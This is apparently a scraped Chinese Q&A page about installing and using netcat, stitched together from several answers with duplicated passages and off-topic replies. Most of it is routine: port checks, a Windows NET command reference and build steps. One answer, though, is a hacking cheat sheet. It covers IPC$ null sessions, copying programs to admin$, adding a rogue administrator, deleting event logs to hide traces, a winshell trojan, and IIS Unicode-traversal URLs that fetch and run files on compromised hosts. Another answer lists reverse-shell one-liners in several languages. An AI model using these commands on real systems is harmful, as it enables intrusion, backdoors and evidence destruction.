netcat命令(安装netcat命令)

netcat这个工具的命令是nc，只需要在终端命令行执行nc命令，如果命令行提示没有找到命令（Command no found），就说明Linux系统上没有netcat；反之，如果输入nc命令后显示了netcat的帮助信息，就说明Linux系统上带有netcat。

测试服务器本机8080端口是否开通的命令的方法。如下参考：1.第一个港口TCP，udp点，所以相同的端口号和TCP协议和udp协议，换句话说一个TelnetTCP端口开放不仅检测。假设我们想看到192．192．193．211这个IPTCP端口22是否打开，它运行Telnet192．192．193．21122，版本信息，如该端口是打开的。2.出现以下信息。该表显示端口未打开，如下图所示。3.有一个命令nc(netcat)查看端口是否打开，如果看到端口8080是否打开，可以运行nc-z192.192.193.2118080，打开后会出现以下信息。
要测试服务器上的某个端口是否开启，无需使用太复杂的工作，windows下就自带了工具，那就是telnet（远程测试），netstat（本地测试）这两个命令都行。1、用Telnet命令测试某个端口是否开启。假如服务器ip是192.168.0.1的8080这个端口。在cmd下输入telnet 192.168.0.1 8080之后会出现一个窗口，是最小化的。若窗口自动关闭了,说明端口是关闭的，反之端口开放。比如这个8080端口是开放的，就出现以下的窗口，否则窗口关闭。2、可以直接在服务器上CMD下输入netstat -anp tcp可以查看当前主机tcp开放了哪些端口。3、Linux下可以通过检测端口是否被占用，如果被占用证明服务器开启了这个端口：netstat –apn | grep 8080
好像是netstat -an

以下有很多，常用的有net use,net user,net time,net stop/start 等 3)NET USE作用：连接计算机或断开计算机与共享资源的连接，或显示计算机的连接信息。命令格式：net use [devicename | *] [\computernamesharename[volume> [password | *> [/user:[domainname]username]参数介绍：键入不带参数的net use列出网络连接。devicename指定要连接到的资源名称或要断开的设备名称。 \computernamesharename服务器及共享资源的名称。password访问共享资源的密码。*提示键入密码。 /user指定进行连接的另外一个用户。domainname指定另一个域。username指定登录的用户名。/home将用户连接到其宿主目录/delete取消指定网络连接。/persistent控制永久网络连接的使用。简单事例：<1>net use e: \YFANGTEMP将\YFANGTEMP目录建立为E盘<2>net use e: \YFANGTEMP /delete断开连接(4)NET TIME作 用：使计算机的时钟与另一台计算机或域的时间同步。命令格式：net time [\computername | /domain[:name> [/set]参数介绍：<1>\computername要检查或同步的服务器名。<2>/domain[:name]指定要与其时间同步的域。<3>/set使本计算机时钟与指定计算机或域的时钟同步。下面的这4个参数是相关的，所以一起介绍(5)Net Start作 用：启动服务，或显示已启动服务的列表。命令格式：net start service(6)Net Pause作 用：暂停正在运行的服务。命令格式：net pause service(7)Net Continue作 用：重新激活挂起的服务。命令格式：net continue service(8)NET STOP作 用：停止 Windows NT 网络服务。命令格式：net stop service参数介绍：我们来看看这些服务都是什么<1>alerter(警报)<2>client service for netware(Netware 客户端服务)<3>clipbook server(剪贴簿服务器)<4>computer browser(计算机浏览器)<5>directory replicator(目录复制器)<6>ftp publishing service (ftp )(ftp 发行服务)<7>lpdsvc<8>net logon(网络登录) <9>network dde网络 dde)<10>network dde dsdm(网络 dde dsdm)<11>network monitor agent(网络监控代理)<12>nt lm security support provider(NT LM 安全性支持提供)<13>ole(对象链接与嵌入)<14>remote access connection manager(远程访问连接管理器)<15>remote access isnsap service(远程访问 isnsap 服务)<16>remote access server(远程访问服务器)<17>remote procedure call (rpc) locator(远程过程调用定位器)<18>remote procedure call (rpc) service(远程过程调用服务)<19>schedule(调度)<20>server(服务器)<21>simple tcp/ip services(简单 TCP/IP 服务)<22>snmp<23>spooler(后台打印程序)<24>tcp/ip netbios helper(TCP/IP NETBIOS 辅助工具)<25>ups (26)workstation(工作站)<27>messenger(信使)<28>dhcp client<29>eventlog 以下这些SERVICE只能在NT SERVER上使用<< 1>>)file server for macintosh<<2>>gateway service for netware<<3>>microsoft dhcp server<<4>>print server for macintosh<<5>>remoteboot<<6>>windows internet name service(9)Net Statistics作 用：显示本地工作站或服务器服务的统计记录。命令格式：net statistics [workstation | server]参数介绍：<1>键入不带参数的net statistics列出其统计信息可用的运行服务。 <2>workstation显示本地工作站服务的统计信息。<3>server显示本地服务器服务的统计信息。简单事例:<1>net statistics server | more显示服务器服务的统计信息(10)Net Share作 用：创建、删除或显示共享资源。命令格式：net share sharename=drive:path [/users:number | /unlimited] [/remark:"text"]参数介绍：<1>键入不带参数的net share显示本地计算机上所有共享资源的信息。<2>sharename是共享资源的网络名称。<3>drive:path指定共享目录的绝对路径。<4>/users:number设置可同时访问共享资源的最大用户数。<5>/unlimited不限制同时访问共享资源的用户数。<6>/remark:"text "添加关于资源的注释，注释文字用引号引住。简单事例：<1>net share mylove=c:temp /remark:"my first share"以mylove为共享名共享C:temp<2>net share mylove /delete停止共享mylove目录(11)Net Session作 用：列出或断开本地计算机和与之连接的客户端的会话，也可以写为net sessions或net sess。命令格式：net session [\computername] [/delete]参数介绍：<1>键入不带参数的net session显示所有与本地计算机的会话的信息。<2>\computername标识要列出或断开会话的计算机。<3>/delete结束与\computername计算机会话并关闭本次会话期间计算机的所有?简单事例：<1>net session \YFANG要显示计算机名为YFANG的客户端会话信息列表。(12)Net Send作 用：向网络的其他用户、计算机或通信名发送消息。命令格式：net send {name | * | /domain[:name] | /users} message 参数介绍：<1>name要接收发送消息的用户名、计算机名或通信名。<2>*将消息发送到组中所有名称。<3>/domain[:name]将消息发送到计算机域中的所有名称。<4>/users将消息发送到与服务器连接的所有用户。<5>message作为消息发送的文本。简单事例：<1>net send /users server will shutdown in 5 minutes. 给所有连接到服务器的用户发送消息(13)Net Print作 用：显示或控制打印作业及打印队列。命令格式：net print [\computername ] job# [/hold | /release | /delete]参数介绍：<1>computername共享打印机队列的计算机名。<2>sharename打印队列名称。<3>job#在打印机队列中分配给打印作业的标识号。<4>/hold使用 job# 时，在打印机队列中使打印作业等待。<5>/release释放保留的打印作业。<6>/delete从打印机队列中删除打印作业。简单事例：<1>net print \YFANGSEEME列出\YFANG计算机上SEEME打印机队列的目录(14)Net Name作 用：添加或删除消息名（有时也称别名），或显示计算机接收消息的名称列表。命令格式：net name [name [/add | /delete>参数介绍：<1>键入不带参数的net name列出当前使用的名称。<2>name指定接收消息的名称。<3>/add将名称添加到计算机中。<4>/delete从计算机中删除名称。(15)Net Localgroup作 用：添加、显示或更改本地组。命令格式：net localgroup groupname {/add [/comment:"text "] | /delete} [/domain]参数介绍：<1>键入不带参数的net localgroup显示服务器名称和计算机的本地组名称。<2>groupname要添加、扩充或删除的本地组名称。<3>/comment: "text "为新建或现有组添加注释。<4>/domain在当前域的主域控制器中执行操作，否则仅在本地计算机上执行操作?<5>name [ ...]列出要添加到本地组或从本地组中删除的一个或多个用户名或组名。<6>/add将全局组名或用户名添加到本地组中。<7>/delete从本地组中删除组名或用户名。简单事例：<1>net localgroup love /add将名为love的本地组添加到本地用户帐号数据库<2>net localgroup love显示love本地组中的用户(16)Net Group作 用：在 Windows NT Server 域中添加、显示或更改全局组。命令格式：net group groupname {/add [/comment:"text "] | /delete} [/domain]参数介绍：<1>键入不带参数的net group显示服务器名称及服务器的组名称。<2>groupname要添加、扩展或删除的组。<3>/comment:"text "为新建组或现有组添加注释。 <4>/domain在当前域的主域控制器中执行该操作，否则在本地计算机上执行操作?<5>username[ ...]列表显示要添加到组或从组中删除的一个或多个用户。<6>/add添加组或在组中添加用户名。<7>/delete删除组或从组中删除用户名。简单事例：<1>net group love yfang1 yfang2 /add将现有用户帐号yfang1和yfang2添加到本地计算机的love组(17)Net File作 用：显示某服务器上所有打开的共享文件名及锁定文件数。命令格式：net file [id [/close>参数介绍：<1>键入不带参数的net file获得服务器上打开文件的列表。<2>id文件标识号。<3>/close关闭打开的文件并释放锁定记录。(18)Net Config作 用：显示当前运行的可配置服务，或显示并更改某项服务的设置。命令格式：net config [service [options>参数介绍：<1>键入不带参数的net config显示可配置服务的列表。<2>service通过net config命令进行配置的服务(server或workstation)<3>options服务的特定选项。(19)Net Computer作 用：从域数据库中添加或删除计算机。命令格式：net computer \computername {/add | /del}参数介绍：<1>\computername指定要添加到域或从域中删除的计算机。<2>/add将指定计算机添加到域。<3>/del将指定计算机从域中删除。简单事例：<1>net computer \cc /add将计算机 cc 添加到登录域(20)Net Accounts作 用：更新用户帐号数据库、更改密码及所有帐号的登录要求。命令格式：net accounts [/forcelogoff:{minutes | no}] [/minpwlen:length] [/maxpwage:{days | unlimited}] [/minpwage:days] [/uniquepw:number] [/domain]参数介绍：<1>键入不带参数的net accounts显示当前密码设置、登录时限及域信息。<2>/forcelogoff:{minutes | no}设置当用户帐号或有效登录时间过期时<3>/minpwlen:length设置用户帐号密码的最少字符数。<4>/maxpwage:{days | unlimited}设置用户帐号密码有效的最大天数。<5>/minpwage:days设置用户必须保持原密码的最小天数。<6>/uniquepw:number要求用户更改密码时，必须在经过number次后才能重复使用 与之相同的密码。<7>/domain在当前域的主域控制器上执行该操作。 <8>/sync当用于主域控制器时，该命令使域中所有备份域控制器同步简单事例：<1>net accounts /minpwlen:7将用户帐号密码的最少字符数设置为7----------------------上面介绍的是NET命令在WINNT下的基本用法----------------------下面我们看看NET命令在WIN98下的基本用法在WIN98中NET命令也有一些参数 其中有一些参数的名字和功能及简单的使用方法和WINNT下的相应的参数的用法相同其中有(1)NET TIME命令(2)NET PRINT命令(3)NET USE命令(4)NET VIEW命令在WIN98中NET命令有一些参数 其中有一些参数的名字和WINNT下的相应的参数的名字相同但其用法却有些不同其中有(1)NET START作 用：启动相应的服务。(不能在DOS-WIN中用)命令格式：NET START [BASIC | NWREDIR | WORKSTATION | NETBIND | NETBEUI | NWLINK] [/LIST] [/YES] [/VERBOSE](2)NET STOP作 用：停止相应的服务.(不能在DOS-WIN中用)命令格式：NET STOP [BASIC | NWREDIR | WORKSTATION | NETBEUI | NWLINK] [/YES]在WIN98中NET命令还有一些参数是在98下才有的其中有(1)NET DIAG作 用：运行MS的DIAGNOSTICS程序显示网络的DIAGNOSTIC信息命令格式：NET DIAGNOSTICS [/NAMES | /STATUS](2)NET INIT作 用：不通过绑定来加载协议或网卡驱动(不能在DOS-WIN中用)命令格式：NET INITIALIZE [/DYNAMIC](3)NET LOGOFF作 用：断开连接的共享资源(不能在DOS-WIN中用)(4)NET LOGON作 用：在WORKGROUP中登陆(不能在DOS-WIN中用)命令格式：NET LOGON [user [password | ?> [/DOMAIN:name] [/YES] [/SAVEPW:NO](5)NET PASSWORD作 用：更改你的网络登陆口令(不能在DOS-WIN中用)命令格式：NET PASSWORD \computer | /DOMAIN:name [user [oldpassword [newpassword>]回答者：fuping111 - 首席运营官 十二级 3-21 09:56提问者对于答案的评价：谢谢评价已经被关闭 目前有 0 个人评价好50% （0） 不好50% （0）其他回答共 1 条NET HELPcommand-或-NET command /HELPCommands available are:NET ACCOUNTS NET HELP NET SHARENET COMPUTER NET HELPMSG NET STARTNET CONFIG NET LOCALGROUP NET STATISTICSNET CONFIG SERVER NET NAME NET STOPNET CONFIG WORKSTATION NET PAUSE NET TIMENET CONTINUE NET PRINT NET USENET FILE NET SEND NET USERNET GROUP NET SESSION NET VIEWNET HELP SERVICES 列出你可以启动的网路服务。NET HELP SYNTAX 解释如何读取 NET HELP 语法行。 NET HELP command | MORE 会以一次一个萤幕的方式显示说明
我知道的也就这么多~ 与远程主机建立空管连接） net use //IP地址/ipc$ "" /use:""（以管理员身份登录远程主机） net use //IP地址/ipc$ "密码" /use:"Administrator"（传送文件到远程主机WINNT目录下）copy 本机目录路径/程序 //IP地址/admin$（查看远程主机时间） net time //IP地址（定时启动某个程序） at //IP地址 02:18 readme.exe（查看共享） net view //IP地址（查看netbios工作组列表） nbtstat -A IP地址（将远程主机C盘映射为自己的F盘） net use f: //IP地址/c$ ""/user:"Administrator"（这两条把自己增加到管理员组）： net user 用户名 密码 /addnet localgroup Administrators 用户名 /add（断开连接） net use //IP地址/ipc$ /delete=====================================================擦屁屁：del C:/winnt/system32/logfiles/*.*del C:/winnt/ssytem32/config/*.evtdel C:/winnt/system32/dtclog/*.*del C:/winnt/system32/*.logdel C:/winnt/system32/*.txtdel C:/winnt/*.txtdel C:/winnt/*.log============================一、netsvc.exe下面的命令分别是列出主机上的服务项目、查寻和远程启动主机的“时间任务”服务：netsvc /list //IP地址netsvc schedule //IP地址 /querynetsvc //IP地址 schedule /start二、OpenTelnet.exe远程启动主机的Telnet服务，并绑定端口到7878，例如：OpenTelnet //IP地址 用户名 密码 1 7878然后就可以telnet到主机的7878端口，进入DOS方式下：telnet IP地址 7878三、winshell.exe一个非常小的木马（不到6K），telnet到主机的7878端口，输入密码winshell，当看到CMD>后，可打下面的命令：p Path （查看winshell主程序的路径信息）b reBoot （重新启动机器）d shutDown （关闭机器）s Shell （执行后你就会看到可爱的“C:/>”）x eXit （退出本次登录会话，此命令并不终止winshell的运行）CMD>http://.../srv.exe（通过http下载其他网站上的文件到运行winshell的机器上）四、3389登陆器，GUI方式登录远程主机的五、elsave.exe事件日志清除工具elsave -s //IP地址 -l "application" -Celsave -s //IP地址 -l "system" -Celsave -s //IP地址 -l "security" -C执行后成功清除应用程序日志，系统日志，安全日志六、hbulot.exe开启win2kserver和winxp的3389服务hbulot [/r]使用/r表示安装完成后自动重起目标使设置生效。七、nc.exe(netcat.exe)一个很好的工具，一些脚本程序都要用到它，也可做溢出后的连接用。想要连接到某处: nc [-options] hostname port[s] [ports] ...绑定端口等待连接: nc -l -p port [-options] [hostname] [port]参数:-e prog 程序重定向，一旦连接，就执行 [危险!!]-g gateway source-routing hop point[s], up to 8-G num source-routing pointer: 4, 8, 12, ...-h 帮助信息-i secs 延时的间隔-l 监听模式，用于入站连接-n 指定数字的IP地址，不能用hostname-o file 记录16进制的传输-p port 本地端口号-r 任意指定本地及远程端口-s addr 本地源地址-u UDP模式-v 详细输出——用两个-v可得到更详细的内容-w secs timeout的时间-z 将输入输出关掉——用于扫描时八、TFTPD32.EXE把自己的电脑临时变为一台FTP服务器，让肉鸡来下载文件，tftp命令要在肉鸡上执行，通常要利用Unicode漏洞或telnet到肉鸡，例如：http://IP地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c tftp -i 本机IP地址 get 文件名 c:/winnt/system32/文件名然后可以直接令文件运行：http://IP地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c+文件名九、prihack.exe是IIS的printer远程缓冲区溢出工具。idqover.exe是溢出idq的，选择“溢出后在一个端口监听”，然后用telnet连接它的监听端口，如果溢出成功，一连它的端口，绑定的命令马上执行。xploit.exe是一个图形界面的ida溢出，成功以后winxp下需要打winxp。一○、ntis.exe、cmd.exe和cmdasp.asp是三个cgi-backdoor，exe要放到cgi-bin目录下，asp放到有ASP执行权限的目录。然后用IE浏览器连接。一、一 Xscan命令行运行参数说明：在检测过程中，按"[空格]"键可以查看各线程状态及扫描进度，按"q"键保存当前数据后提前退出程序，按""强行关闭程序。1.命令格式: xscan -host <起始IP>[-<终止IP>] <检测项目> [其他选项]xscan -file <主机列表文件名> <检测项目> [其他选项]其中<检测项目> 含义如下:-port : 检测常用服务的端口状态(可通过/dat/config.ini文件的"PORT-SCAN-OPTIONS/PORT-LIST"项定制待检测端口列表)；-ftp : 检测FTP弱口令(可通过/dat/config.ini文件设置用户名/密码字典文件)；-ntpass : 检测NT-Server弱口令(可通过/dat/config.ini文件设置用户名/密码字典文件)；-cgi : 检测CGI漏洞(可通过/dat/config.ini文件的"CGI-ENCODE/encode_type"项设置编码方案)；-iis : 检测IIS漏洞(可通过/dat/config.ini文件的"CGI-ENCODE/encode_type"项设置编码方案)；[其他选项] 含义如下:-v: 显示详细扫描进度-p: 跳过Ping不通的主机-o: 跳过没有检测到开放端口的主机 -t <并发线程数量[,并发主机数量]>: 指定最大并发线程数量和并发主机数量, 默认数量为100,10
NET命令 (1) NET VIEW作 用：显示域列表、计算机列表或指定计算机的共享资源列表。命令格式：net view [\computername | /domain[omainname]]参数介绍：<1>键入不带参数的net view显示当前域的计算机列表。<2>\computername 指定要查看其共享资源的计算机。<3>/domain[omainname]指定要查看其可用计算机的域简单事例:<1>net view \YFANG 查看YFANG的共享资源列表。<2>net view /domain:LOVE 查看LOVE域中的机器列表。(2)NET USER作 用：添加或更改用户帐号或显示用户帐号信息。该命令也可以写为 net users。命令格式：net user [username [password | *] [options]] [/domain]参数介绍:<1>键入不带参数的net user查看计算机上的用户帐号列表。<2>username添加、删除、更改或查看用户帐号名。<3>password为用户帐号分配或更改密码。<4>*提示输入密码。<5>/domain在计算机主域的主域控制器中执行操作。简单事例：<1>net user yfang查看用户YFANG的信息(3)NET USE作用：连接计算机或断开计算机与共享资源的连接，或显示计算机的连接信息。命令格式：net use [devicename | *] [\computernamesharename[volume]] [password | *]][/user:[domainname] username] [[/delete] | [/persistent:{yes | no}]]参数介绍：键入不带参数的net use列出网络连接。devicename指定要连接到的资源名称或要断开的设备名称。 \computernamesharename服务器及共享资源的名称。password访问共享资源的密码。*提示键入密码。 /user指定进行连接的另外一个用户。domainname指定另一个域。username指定登录的用户名。/home将用户连接到其宿主目录/delete取消指定网络连接。/persistent控制永久网络连接的使用。简单事例：<1>net use e: \YFANGTEMP将\YFANGTEMP目录建立为E盘<2>net use e: \YFANGTEMP /delete断开连接(4)NET TIME作 用：使计算机的时钟与另一台计算机或域的时间同步。命令格式：net time [\computername | /domain[:name]] [/set]参数介绍：<1>\computername要检查或同步的服务器名。<2>/domain[:name]指定要与其时间同步的域。<3>/set使本计算机时钟与指定计算机或域的时钟同步。下面的这4个参数是相关的，所以一起介绍(5)Net Start作 用：启动服务，或显示已启动服务的列表。命令格式：net start service(6)Net Pause作 用：暂停正在运行的服务。命令格式：net pause service(7)Net Continue作 用：重新激活挂起的服务。命令格式：net continue service(8)NET STOP作 用：停止 Windows NT 网络服务。命令格式：net stop service参数介绍：我们来看看这些服务都是什么<1>alerter(警报)<2>client service for netware(Netware 客户端服务)<3>clipbook server(剪贴簿服务器)<4>computer browser(计算机浏览器)<5>directory replicator(目录复制器)<6>ftp publishing service (ftp )(ftp 发行服务)<7>lpdsvc<8>net logon(网络登录) <9>network dde网络 dde)<10>network dde dsdm(网络 dde dsdm)<11>network monitor agent(网络监控代理)<12>nt lm security support provider(NT LM 安全性支持提供)<13>ole(对象链接与嵌入)<14>remote access connection manager(远程访问连接管理器)<15>remote access isnsap service(远程访问 isnsap 服务)<16>remote access server(远程访问服务器)<17>remote procedure call (rpc) locator(远程过程调用定位器)<18>remote procedure call (rpc) service(远程过程调用服务)<19>schedule(调度)<20>server(服务器)<21>simple tcp/ip services(简单 TCP/IP 服务)<22>snmp<23>spooler(后台打印程序)<24>tcp/ip netbios helper(TCP/IP NETBIOS 辅助工具)<25>ups (26)workstation(工作站)<27>messenger(信使)<28>dhcp client<29>eventlog 以下这些SERVICE只能在NT SERVER上使用<< 1>> )file server for macintosh<<2>>gateway service for netware<<3>>microsoft dhcp server<<4>>print server for macintosh<<5>>remoteboot<<6>>windows internet name service(9)Net Statistics作 用：显示本地工作站或服务器服务的统计记录。命令格式：net statistics [workstation | server]参数介绍：<1>键入不带参数的net statistics列出其统计信息可用的运行服务。<2>workstation显示本地工作站服务的统计信息。<3>server显示本地服务器服务的统计信息。简单事例:<1>net statistics server | more显示服务器服务的统计信息(10)Net Share作 用：创建、删除或显示共享资源。命令格式：net share sharename=drive:path [/users:number | /unlimited] [/remark:"text"]参数介绍：<1>键入不带参数的net share显示本地计算机上所有共享资源的信息。<2>sharename是共享资源的网络名称。<3>drive:path指定共享目录的绝对路径。<4>/users:number设置可同时访问共享资源的最大用户数。<5>/unlimited不限制同时访问共享资源的用户数。<6>/remark:"text "添加关于资源的注释，注释文字用引号引住。简单事例：<1>net share mylove=c:temp /remark:"my first share"以mylove为共享名共享C:temp<2>net share mylove /delete停止共享mylove目录(11)Net Session作 用：列出或断开本地计算机和与之连接的客户端的会话，也可以写为net sessions或net sess。命令格式：net session [\computername] [/delete]参数介绍：<1>键入不带参数的net session显示所有与本地计算机的会话的信息。<2>\computername标识要列出或断开会话的计算机。 <3>/delete结束与\computername计算机会话并关闭本次会话期间计算机的所有?
你是要做网页还是要做什么啊，不明白你的意思啊，要是做网页的方面在这里一时半会也不好说啊，代码很多的，建议你看看这方面的教程。
....你以为.NET是DOS？

Linux中nc命令是一个功能强大的网络工具，全称是netcat。 语法：nc [-hlnruz][-g<网关...>][-G<指向器数目>][-i<延迟秒数>][-o<输出文件>][-p<通信端口>][-s<来源位址>][-v...][-w<超时秒数>][主机名称][通信端口...]参数说明：-g<网关> 设置路由器跃程通信网关，最丢哦可设置8个。-G<指向器数目> 设置来源路由指向器，其数值为4的倍数。-h 在线帮助。-i<延迟秒数> 设置时间间隔，以便传送信息及扫描通信端口。-l 使用监听模式，管控传入的资料。-n 直接使用IP地址，而不通过域名服务器。-o<输出文件> 指定文件名称，把往来传输的数据以16进制字码倾倒成该文件保存。-p<通信端口> 设置本地主机使用的通信端口。-r 乱数指定本地与远端主机的通信端口。-s<来源位址> 设置本地主机送出数据包的IP地址。-u 使用UDP传输协议。-v 显示指令执行过程。-w<超时秒数> 设置等待连线的时间。-z 使用0输入/输出模式，只在扫描通信端口时使用。实例：1、TCP端口扫描# nc -v -z -w2 127.0.0.1 1-100Connection to 127.0.0.1 22 port [tcp/ssh] succeeded!Connection to 127.0.0.1 53 port [tcp/domain] succeeded!Connection to 127.0.0.1 80 port [tcp/http] succeeded!...nc: connect to 127.0.0.1 port 100 (tcp) failed: Connection refused2、从192.168.1.2拷贝文件到192.168.1.3首先在接收端192.168.1.3上： nc -l 1234 > test.txt然后在发送端192.168.1.2上： nc 192.168.1.3 < test.txt注意：先运行接收端，指定一个端口为1234，文件为test.txt，再执行发送端，并且发送端必须存在同名的文件test.txt3、传输目录从server1(192.168.16.233)拷贝nginx目录内容到server2(192.168.48.47)上。需要先在server2上，用nc激活监听，server2上运行:# nc -l 1234 | tar xzv-server1上运行:# tar czv- nginx | nc 192.168.48.47 12344、简单聊天工具在192.168.1.2上： nc -l 1234在192.168.1.3上： nc 192.168.1.2 1234 这样，双方就可以相互交流了。使用ctrl+C(或D）退出

etcat-0.7.1.tar.gz 然后当然是解压了tar zxvf netcat-0.7.1.tar.gz解压完毕之后会生成目录，要cd进去cd netcat-0.7.1然后进行编译前的配置。./configure配置完了之后就可以make编译了。编译成功就生成了netcat可执行的文件了，位于src目录，cd进去进行运行./netcat -h.如图本地Windows监听nc -vv -l -p 1234远程Windows转发nc -t -e C:WINDOWSsystem32cmd.exe 8.8.8.8 1234远程Linux转发./netcat 8.8.8.8 1234 -e /bin/shReverseShell.cReverseShell.plReverseShell.pyphpspy.php———————NetCat for linux 参数e————————-下载netcat-0.7.1.tar.gztar zxvf netcat-0.7.1.tar.gzcd netcat-0.7.1./configuremakecd src./netcat -h——————————————————————–一句话反弹命令[Bash]bash -i >& /dev/tcp/10.0.0.1/8080 0>&1[PERL]perl -e ‘use Socket;$i=”10.0.0.1″;$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh -i”);};’[Python]python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.0.0.1″,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);’[PHP]php -r ‘$sock=fsockopen(“10.0.0.1″,1234);exec(“/bin/sh -i <&3 >&3 2>&3″);’[Ruby]ruby -rsocket -e’f=TCPSocket.open(“10.0.0.1″,1234).to_i;exec sprintf(“/bin/sh -i <&%d >&%d 2>&%d”,f,f,f)’[Netcat]nc -e /bin/sh 10.0.0.1 1234 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
netcat是GNU协议下项目可以在sourceforge.net下载安装下载下载的是netcat-0.7.1.tar.gz版本，存放在当前目录下wget https://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz/download解压将 netcat-0.7.1.tar.gz 解压到 /usr/local 目录下tar -zxvf netcat-0.7.1.tar.gz -C /usr/local重命名切换到 /usr/local 目录下：cd /usr/local改名：mv netcat-0.7.1 netcat配置切换目录：cd /usr/local/netcat把文件配置到 /opt/netcat 下，卸载软件时，只要删除这个文件就行了：./configure –prefix=/opt/netcat编译安装编译：make安装：make install配置环境变量vim /etc/profile添加以下内容：# set netcat pathexport NETCAT_HOME=/opt/netcatexport PATH=$PATH:$NETCAT_HOME/bin保存，退出，并使配置生效：source /etc/profile验证nc –help
在网络工具中有“瑞士军刀”美誉的NetCat（以下简称nc），在我们用了N年了至今仍是爱不释手。因为它短小精悍（这个用在它身上很适合，现在有人已经将其修改成大约10K左右，而且功能不减少）。 一个简单而有用的工具，透过使用TCP或UDP协议的网络连接去读写数据。它被设计成一个稳定的后门工具，能够直接由其它程序和脚本轻松驱动。安装方式一：yum安装yum install -y netcat或者yum install -y nc安装方式二：编译安装1.下载https://download.csdn.net/download/z1941563559/105778792.上传到linux服务器并解压进入netcat-0.7.1.tar.gz所在目录，并执行下面的命令：tar -zxvf netcat-0.7.1.tar.gz -C /usr/local/3.编译并安装netcat进入解压之后的目录cd /usr/local/netcat-0.7.1/执行编译安装的命令： [root@hadoop02 netcat-0.7.1]# ./configure –prefix=/usr/local/netcat
下载 下载的是netcat-0.7.1.tar.gz版本,存放在当前目录下wgethttp://sourceforge.net/projects/netcat/files/netcat/0.7.1/解压将 netcat-0.7.1.tar.gz 解压到 /usr/local 目录下tar -zxvf netcat-0.7.1.tar.gz -C /usr/local重命名切换到 /usr/local 目录下:cd /usr/local改名:mv netcat-0.7.1 netcat配置切换目录:cd /usr/local/netcat把文件配置到 /opt/netcat 下,卸载软件时,只要删除这个文件就行了:./configure –prefix=/opt/netcat编译安装编译:make安装:make install配置环境变量 vim /etc/profile添加以下内容:# set netcatpathexport NETCAT_HOME=/opt/netcatexportPATH=$PATH:$NETCAT_HOME/bin保存,退出,并使配置生效:source /etc/profile 验证nc –help
下载源码包，编译安装下载二进制包比如rpm deb使用包管理工具安装  yum apt dnf 等以上方法就是通常使用的在linux安装软件的方式希望能帮到你